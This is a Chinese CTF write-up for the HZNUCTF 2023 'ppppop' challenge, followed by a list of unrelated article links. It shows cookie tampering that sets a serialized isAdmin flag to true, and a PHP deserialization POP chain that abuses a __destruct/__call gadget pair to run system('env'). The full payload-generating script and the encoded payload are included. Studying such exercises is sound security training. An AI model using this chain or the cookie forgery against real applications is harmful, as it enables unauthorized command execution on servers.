当前位置: 首页 > news >正文

[HZNUCTF 2023 preliminary]ppppop

[HZNUCTF 2023 preliminary]ppppop

点进去之后是一片空白
接着我们打开HackBar 然后我们看到cookie里面有一个base64编码:

Tzo0OiJVc2VyIjoxOntzOjc6ImlzQWRtaW4iO2I6MDt9

利用在线工具解码得到:
在这里插入图片描述

O:4:"User":1:{s:7:"isAdmin";b:0;}

由于序列化中的b代表着Boolean,所以我试着把0改为1。然后用在线工具加密得到:
在这里插入图片描述

Tzo0OiJVc2VyIjoxOntzOjc6ImlzQWRtaW4iO2I6MTt9

将新的编码加入到cookies 中,然后运行之后发现有回显,是一串php代码:

<?php
error_reporting(0);
include('utils.php');class A {public $className;public $funcName;public $args;public function __destruct() {$class = new $this->className;$funcName = $this->funcName;$class->$funcName($this->args);}
}class B {public function __call($func, $arg) {$func($arg[0]);}
}if(checkUser()) {highlight_file(__FILE__);$payload = strrev(base64_decode($_POST['payload']));unserialize($payload);
}

接着我们对代码进行审计:

这段 PHP 代码定义了两个类 A 和 B,并包含了一些对用户输入进行处理的逻辑。整体来看,代码中可能存在安全风险,尤其是在处理用户输入的 payload 时进行反序列化操作。

以下是对代码的详细解读:

<?php
error_reporting(0);关闭 PHP 的错误报告。
include('utils.php');包含名为 utils.php 的文件。class A {public $className;用于存储一个类名public $funcName;用于存储一个方法名public $args;用于存储传递给方法的参数。public function __destruct() {   这是 PHP 的析构函数,当对象被销毁时自动调用$class = new $this->className; 根据存储的className 创建一个新的对象 $class$funcName = $this->funcName;将存储的funcName 赋值给变量 $funcName$class->$funcName($this->args);调用新创建对象的指定方法,并传入存储的参数。}
}class B {public function __call($func, $arg) {  这是PHP 的魔术方法,当调用一个不可访问的方法时自动触发。$func($arg[0]);}在这个方法中,它将第一个参数 $arg[0](即传入的参数数组中的第一个元素)作为参数传递给存储在变量 $func中的函数进行调用。
}if(checkUser()) {highlight_file(__FILE__);$payload = strrev(base64_decode($_POST['payload']));从用户提交的 POST 请求中获取 payload 参数 ,对其进行base64 解码,然后将结果反转。unserialize($payload);对处理后的 payload 进行反序列化操作。
}

然后我们反序列化构造pop链,通过A类来触发B类中的__call从而实现任意命令,执行后的回显在class B的__call 魔术方法里,我们需要让func和arg成为我们需要的变量。所以我们构造pop链如下:

<?php
error_reporting(0);
include('utils.php');class A {public $className="B";public $funcName="system";public $args="env";public function __destruct() {$class = new $this->className;$funcName = $this->funcName;$class->$funcName($this->args);}
}class B {public function __call($func, $arg) {$func($arg[0]);}
}$a=new A();
echo(base64_encode(strrev(serialize($a))));
?>

利用在线工具运行php代码得到:
在这里插入图片描述

然后我们构造payload:

payload=fTsidm5lIjozOnM7InNncmEiOjQ6czsibWV0c3lzIjo2OnM7ImVtYU5jbnVmIjo4OnM7IkIiOjE6czsiZW1hTnNzYWxjIjo5OnN7OjM6IkEiOjE6Tw

post 传参,运行得到flag:
在这里插入图片描述由此得到本题flag:
NSSCTF{34f387cb-4c56-4282-aeee-fce453a11d94}

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Android活动(activity)与服务(service)进行通信
  • Android Telephony | operator.alpha 运营商名称信息来源代码解读
  • DHU 函数 ACSII 码排序
  • 【STM32】RS485
  • 年薪100万华为员工爆料:华为不存在40岁危机,原因很简单,40岁你都可以退休了!累计375万的股票,每年分红75万,直接养老了
  • redis学习笔记 ——redis中的四大特殊数据结构
  • 第四章(先学习第五章)-openmv和arduino和stm32的通信
  • python把dbc转换成excel
  • Python 中的 `AsyncIterable` 和 `AsyncGenerator`:对比、优缺点及使用场景
  • 兔子序列(c语言)
  • RabbitMQ 常见问题与故障排查
  • 推荐一款强大的 macOS 剪贴板增强工具:CleanClip
  • 设计模式 13 责任链模式
  • 简而不减,极致便捷!泰极预付费解决方案震撼上市
  • Flink CDC读取Mysql时,Decimal类型数据异常,变成了字符串(源码解析及解决方案)
  • (十五)java多线程之并发集合ArrayBlockingQueue
  • 【JavaScript】通过闭包创建具有私有属性的实例对象
  • 8年软件测试工程师感悟——写给还在迷茫中的朋友
  • Cookie 在前端中的实践
  • docker容器内的网络抓包
  • echarts的各种常用效果展示
  • JS函数式编程 数组部分风格 ES6版
  • laravel with 查询列表限制条数
  • 爱情 北京女病人
  • 从重复到重用
  • 蓝海存储开关机注意事项总结
  • 写给高年级小学生看的《Bash 指南》
  • 一个6年java程序员的工作感悟,写给还在迷茫的你
  • ​VRRP 虚拟路由冗余协议(华为)
  • ​草莓熊python turtle绘图代码(玫瑰花版)附源代码
  • #!/usr/bin/python与#!/usr/bin/env python的区别
  • (2)STL算法之元素计数
  • (3)(3.5) 遥测无线电区域条例
  • (八)Docker网络跨主机通讯vxlan和vlan
  • (附源码)springboot美食分享系统 毕业设计 612231
  • (附源码)计算机毕业设计SSM基于java的云顶博客系统
  • (十八)devops持续集成开发——使用docker安装部署jenkins流水线服务
  • (十二)python网络爬虫(理论+实战)——实战:使用BeautfulSoup解析baidu热搜新闻数据
  • (四)图像的%2线性拉伸
  • (循环依赖问题)学习spring的第九天
  • (一)Java算法:二分查找
  • (转) Android中ViewStub组件使用
  • (转)mysql使用Navicat 导出和导入数据库
  • ***监测系统的构建(chkrootkit )
  • .aanva
  • .axf 转化 .bin文件 的方法
  • .NET C#版本和.NET版本以及VS版本的对应关系
  • .NET CF命令行调试器MDbg入门(二) 设备模拟器
  • .net Stream篇(六)
  • .NET 使用 ILMerge 合并多个程序集,避免引入额外的依赖
  • .NET/C# 将一个命令行参数字符串转换为命令行参数数组 args
  • .NET/C# 项目如何优雅地设置条件编译符号?
  • .NET/C# 在代码中测量代码执行耗时的建议(比较系统性能计数器和系统时间)...
  • .NET企业级应用架构设计系列之结尾篇
  • .NET之C#编程:懒汉模式的终结,单例模式的正确打开方式